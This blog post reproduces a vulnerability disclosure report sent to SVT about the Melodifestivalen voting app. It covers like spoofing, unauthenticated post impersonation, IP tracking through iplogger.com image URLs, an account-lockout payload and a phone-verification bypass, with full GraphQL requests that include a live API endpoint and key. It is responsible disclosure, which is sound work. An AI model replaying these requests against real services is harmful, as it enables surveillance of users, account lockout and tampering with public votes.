Melodifestivalen: Part 2
15 minute read
After discovering the race condition that allowed me to collect extraordinary amounts of cards in the Melodifestivalen app (detailed in Part 1), I began looking more closely at the app's security. What started as simple automation quickly turned into a full security audit as I discovered more issues. In this post, I'll detail the vulnerabilities I found and reported to SVT.
This is a direct conversion from the PDFs I originally emailed to SVT to Markdown that I can show in this blog, and I realized it's not a great format. Hopefully I get back to it and update this article sometime. Sorry for this.
The Vulnerabilities
Like Manipulation
The first vulnerability I discovered involved the like system. While analyzing network traffic during my card collection automation, I noticed something interesting about how likes were handled.
Overview
- Impact: Low
- Endpoint:
CreateGlobalPostLike(GraphQL) - Vulnerability Type: Authentication Bypass
Description
The CreateGlobalPostLike mutation accepts three parameters: globalPostLikePostId, reaction, and userId. While the user ID is included in the JWT token, there's no server-side validation comparing it against the provided userId parameter. This allows an attacker to like posts on behalf of any user by simply modifying the userId parameter in the request.
The created likes appear completely legitimate - they increment the global like counter and appear in the target user's feed as if they had performed the action themselves.
Steps to Reproduce
- Intercept a post like request
- Modify the
userIdparameter - Forward modified request to server
- Verify like appears in target user's feed
Expected vs Actual
- Expected: Server rejects request with 401 (Unauthorized)
- Actual: Server accepts request and registers like as valid
Post Creation Without Authentication
This vulnerability was more severe than the like manipulation. While testing different GraphQL endpoints, I found that the post creation system lacked basic authentication checks.
Overview
- Impact: Medium
- Endpoint:
CreateUserPost(GraphQL) - Vulnerability Type: Missing Authentication
Description
The post creation endpoint accepts requests without any authentication token, making server-side validation of the sender's identity impossible. An attacker can freely create posts impersonating any user by modifying the userId parameter in the request.
Steps to Reproduce
- Copy the example payload below
- Modify userId parameter
- Forward request to server
- Verify post appears in target's feed
Example Request
POST https://e2xcte2abrc2xls6dwctymgwti.appsync-api.eu-west-1.amazonaws.com/graphql
Content-Type: application/json
x-api-key: da2-utqp4tisx5covex6kihd2uq7b4
{
"query": "mutation CreateUserPost($input: CreateUserPostInput!) {
createUserPost(input: $input) {
id userId comp createdAt type content numLikes
}
}",
"variables": {
"input": {
"userId": "{{target_user_id}}",
"comp": 6,
"type": "TROPHY",
"content": {
"code": 202001,
"title_locked": "Like Friend",
"unlocked": true
}
}
}
}
Expected vs Actual
- Expected: Server rejects requests without authentication token
- Actual: Server accepts all unauthenticated requests
IP Address Tracking
While investigating the post creation vulnerability, I discovered something more concerning. The post content wasn't being sanitized at all, opening up possibilities for user tracking.
Overview
- Impact: Medium
- Endpoint:
CreateUserPost(GraphQL) - Vulnerability Type: Information Disclosure
Description
The content JSON structure in user posts is not sanitized, particularly the imageLocked and imageUnlocked URLs. When a post is created with external image URLs, the client automatically fetches these images, revealing sensitive information about the user including:
- IP address
- App version
- Operating system
- Device language
The information leak happens silently in the background without user awareness.
Attack Scenario
An attacker could:
- Target specific users (celebrities, protected identities)
- Create posts with tracking URLs using the previously discovered authentication bypass
- Track user activity patterns through IP geolocation
- Monitor when users open the app
- Potentially track all users simultaneously using unique image URLs
Example Request
POST https://e2xcte2abrc2xls6dwctymgwti.appsync-api.eu-west-1.amazonaws.com/graphql
Content-Type: application/json
x-api-key: da2-utqp4tisx5covex6kihd2uq7b4
{
"query": "mutation CreateUserPost($input: CreateUserPostInput!) {
createUserPost(input: $input) {
id userId comp createdAt type content numLikes
}
}",
"variables": {
"input": {
"userId": "{{user_id}}",
"comp": 6,
"type": "TROPHY",
"content": {
"code": 202001,
"title_locked": "IP Grabbed",
"title_unlocked": "IP Grabbed",
"description_locked": "IP Grabbed",
"description_unlocked": "IP Grabbed",
"image_locked": "https://iplogger.com/2OTUq2.jpg",
"image_unlocked": "https://iplogger.com/2OTUq2.jpg",
"unlocked": true,
"unlocks": [202001],
"year": -100,
"isUnlocked": true
}
}
}
}
Expected vs Actual
- Expected: Server sanitizes external URLs
- Actual: Server accepts arbitrary URLs, leading to client-side information disclosure
Account Lockout
This next vulnerability was perhaps the most severe, as it could render accounts permanently unusable. I discovered it while testing different payload formats in the post creation system.
Overview
- Impact: Severe
- Endpoint:
CreateUserPost(GraphQL) - Vulnerability Type: Denial of Service
Description
As the server does not verify the validity of the value in the content key during user post creation, it is possible to create a custom payload such that the client raises an exception when parsing the content. An invalid post will result in the application crashing during app startup (before becoming responsive). As there is no way to remove or prevent the loading of a user post once created, the account is rendered permanently unusable.
Attack Scenario
A malicious actor might gather an extensive collection of valid user IDs through the search function and target the whole user base. During time-sensitive events, such as throughout live shows, a distributed network of devices would reasonably be able to lock out a large part of the user base by utilizing the attack outlined in report #2, while iterating over previously collected user IDs. This would result in users being unable to vote, hence impacting the voting outcome.
In an alternative attack scenario, only a specific person, or group of people, would be affected. For example by searching for usernames containing keywords related to a specific artist, such as the artist's name or the artist's song name (i.e., "ILoveYohio", "Heartbreak Hotel fan#1", etc.), and lock all those accounts out, leading to voting results being altered in favor of their opponents.
Steps to Reproduce
- Copy the example payload below
- Insert the target user ID
- Forward request to server
- Verify app crashes on target user login
Example Request
POST https://e2xcte2abrc2xls6dwctymgwti.appsync-api.eu-west-1.amazonaws.com/graphql
Content-Type: application/json
x-api-key: da2-utqp4tisx5covex6kihd2uq7b4
{
"query": "mutation CreateUserPost($input: CreateUserPostInput!) {
createUserPost(input: $input) {
id userId comp createdAt type content numLikes
}
}",
"variables": {
"input": {
"userId": "{{user_id}}",
"comp": 6,
"type": "TROPHY",
"content": null
}
}
}
Expected vs Actual
- Expected: Server rejects the request with 422 (unprocessable entity) response
- Actual: Server accepts the request and registers the post as valid
Phone Number Verification Bypass
After finding several API-level vulnerabilities, I started looking at the authentication system more broadly. The discovery here was particularly interesting as it undermined a core security feature of the app.
Overview
- Impact: Severe
- Endpoint: All
- Vulnerability Type: Authentication Bypass
Description
When creating an account, a user must provide an email address, which gives the user an authentication token when verified. The client then sends a request to /authentication/v5/users/me and checks if a phone number has been verified previously. As this check is client-side only, an attacker can interact with the full API without registering a valid phone number by modifying the client. The vulnerability makes it possible to automatically create large amounts of fully functional accounts.
Attack Scenario
The most obvious attack would be to create large amounts of accounts that would stay idle until an active competition, during which they would unanimously vote for a single song of the attacker's choice. As there is no limit to the number of accounts an attacker might create, there is no limit to the number of invalid votes that might be cast during a competition. Such an attack could easily result in a change of global votes significant enough to alter the rankings. There might be a personal motivation behind changing the voting outcome, but there might also be a financial incentive from betting on an otherwise losing team that would receive a boost in votes through a botnet.
An alternative attack would be to spam a specific user with large amounts of friend requests, generating a flood of notifications on the user's device. Although this might annoy the user, it is possible to turn off notifications which would mitigate the attack.
Example Response
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: {{content_length}}
Connection: keep-alive
Date: Sat, 15 Oct 2022 10:51:12 GMT
{
"userId": "{{user_id}}",
"termsVersion": 2,
"accounts": [
{
"type": "email",
"value": "{{email_address}}",
"verified": true
},
{
"type": "phone",
"value": "123456789",
"verified": true
}
]
}
Expected vs Actual
- Expected: Server rejects all API requests with a 403 (forbidden) response
- Actual: Server accepts all API requests
Card Counting DoS
This vulnerability was actually discovered by accident during my card collection project. The massive amount of cards I had accumulated led to an interesting server behavior.
Overview
- Impact: Medium
- Endpoint:
/production/usercardscount(REST) - Vulnerability Type: Resource Exhaustion
Description
When a user owns too many cards, the server will fail to count the card amount within the timeout limit of 6s, responding with "Internal server error." An attacker could leverage this to send large amounts of traffic in parallel, interrupting server function.
Steps to Reproduce
- Log in as user with many cards (for example user ID: oZJVX7WbLd)
- Request number of cards from server
- Resend capture the request and replay it in large quantities in parallel
Expected vs Actual
- Expected: Server rejects the request with 429 (too many requests) response
- Actual: Server accepts the request and times out
Notes
There may be safeguards in place to avoid downtime, such as IP-based blocking. When performing a black box penetration test like this, it is impossible to know for sure until the attack has been tested in practice, which I will not attempt without explicit permission. If such safeguards were to exist during a real-life attack scenario, this report may be ignored.
Card Pack Race Condition
This vulnerability was somewhat similar to the race condition from Part 1, but with different implications for the server.
Overview
- Impact: Low
- Endpoint:
/production/get(REST) - Vulnerability Type: Race Condition
Description
When several requests to claim card packs are sent in parallel, a race condition in the server-side code allows for a user to receive many times the amount of cards intended. This will enable users to accumulate extreme amounts of cards in a short period of time. When several accounts are used to send requests in parallel, several hundred cards can be reliably gathered every second from a single device.
Steps to Reproduce
- Intercept request generated from collecting a card pack
- Send several of those requests in parallel
- Verify that more cards than expected were collected
Expected vs Actual
- Expected: Server allows one request and rejects all others
- Actual: Server accepts all requests for collecting cards
Results
The combination of these vulnerabilities created some interesting possibilities. For example, you could:
- Create accounts without phone verification
- Use those accounts to create malicious posts
- Track IP addresses of targeted users
- Lock out specific user segments during voting periods
I reported these findings to SVT on October 17, 2022. After not receiving a response and hearing about strict mail filters from a friend, I sent another email without attachments on November 4. SVT responded the same day confirming they would look into it internally.
On November 21, I received this response (translated from Swedish):
Hi Erik, Thank you very much for your work in reviewing the application and for your well-written report. SVT does not currently have a bug-hunting/bug-bounty program for various reasons, but of course we take all information we receive very seriously and have taken this further internally. However, we unfortunately cannot comment on the points in more detail. Best regards, Fredrik Anfält Widlund SVT IT Security
I never received any further updates, which is understandable as SVT doesn't have a formal bug bounty program. The vulnerabilities appear to have been patched in subsequent updates to the app.